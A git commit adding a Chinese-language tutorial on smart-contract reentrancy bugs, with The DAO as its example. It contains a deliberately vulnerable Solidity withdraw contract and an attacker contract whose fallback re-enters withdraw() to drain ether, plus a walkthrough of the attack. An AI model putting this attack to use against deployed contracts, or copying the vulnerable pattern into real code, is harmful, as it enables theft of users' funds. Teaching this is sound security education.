Add files via upload
This commit is contained in:
@@ -0,0 +1,77 @@
|
||||
### 说说重入漏洞
|
||||
|
||||
**什么是重入漏洞?**
|
||||
|
||||
简单来说,重入漏洞发生在以下情况: 一个智能合约在**调用外部合约或地址**(如通过`call`、`send`或`transfer`发送以太币)之后,**未及时更新内部状态**
|
||||
|
||||
当外部合约或地址接收到以太币时,它可以执行一个**回退函数**(Fallback Function)。如果这个回退函数中又包含一个对原始合约的调用,那么它就可以在原始合约的状态(比如余额记录)更新之前,再次执行之前的函数,形成一个无限循环,直到合约中的以太币被取光
|
||||
|
||||
**重入漏洞的经典案例:The DAO**
|
||||
|
||||
最具代表性的重入漏洞攻击是发生在 2016 年的 **The DAO** 事件。当时,黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧,最终促成了以太坊(ETH)和以太坊经典(ETC)的分叉
|
||||
|
||||
**重入漏洞的工作原理**
|
||||
|
||||
我们以一个简单的取款合约为例来详细解释这个过程:
|
||||
|
||||
**存在漏洞的合约代码**
|
||||
|
||||
```solidity
|
||||
contract VulnerableContract {
|
||||
mapping(address => uint256) public balances;
|
||||
|
||||
function withdraw() public {
|
||||
// 步骤 1: 检查用户余额
|
||||
uint256 amount = balances[msg.sender];
|
||||
|
||||
// 步骤 2: 将以太币发送给用户
|
||||
// 这是一个危险的操作,因为`call`会触发接收方的回退函数
|
||||
(bool success, ) = msg.sender.call{value: amount}("");
|
||||
require(success, "Transfer failed.");
|
||||
|
||||
// 步骤 3: 更新用户余额
|
||||
// 这步在外部调用之后,是漏洞的关键
|
||||
balances[msg.sender] = 0;
|
||||
}
|
||||
|
||||
// 其他函数...
|
||||
}
|
||||
```
|
||||
|
||||
**黑客合约代码**
|
||||
|
||||
```solidity
|
||||
contract Attacker {
|
||||
VulnerableContract vulnerableContract;
|
||||
|
||||
constructor(address _vulnerableContract) {
|
||||
vulnerableContract = VulnerableContract(_vulnerableContract);
|
||||
}
|
||||
|
||||
// 步骤 1: 首次调用受害合约的提款函数
|
||||
function attack() public payable {
|
||||
vulnerableContract.withdraw();
|
||||
}
|
||||
|
||||
// 步骤 2: 回退函数,当接收到以太币时被触发
|
||||
fallback() external payable {
|
||||
// 如果受害合约的余额大于 0,再次调用它的提款函数
|
||||
if (address(vulnerableContract).balance > 0) {
|
||||
vulnerableContract.withdraw();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**攻击流程解析:**
|
||||
|
||||
1. **准备**:黑客向 `VulnerableContract` 存入少量以太币,以获得一个非零的余额
|
||||
2. **首次调用**:黑客通过 `Attacker` 合约调用 `VulnerableContract` 的 `withdraw()` 函数
|
||||
3. **漏洞触发**:
|
||||
- `VulnerableContract` 检查黑客余额,然后向 `Attacker` 合约发送以太币
|
||||
- `Attacker` 合约接收到以太币后,其 `fallback` 函数被立即触发
|
||||
- 在 `fallback` 函数中,黑客再次调用 `VulnerableContract` 的 `withdraw()` 函数
|
||||
4. **递归循环**:
|
||||
- 由于 `VulnerableContract` 的 `balances[msg.sender] = 0` 这一行代码**尚未执行**,`VulnerableContract` 以为黑客的余额仍然存在
|
||||
- `withdraw()` 函数再次执行,又一次向 `Attacker` 合约发送以太币,再次触发 `fallback` 函数
|
||||
5. **耗尽资金**:这个过程会反复进行,直到 `VulnerableContract` 中的所有以太币被耗尽
|
||||
Reference in New Issue
Block a user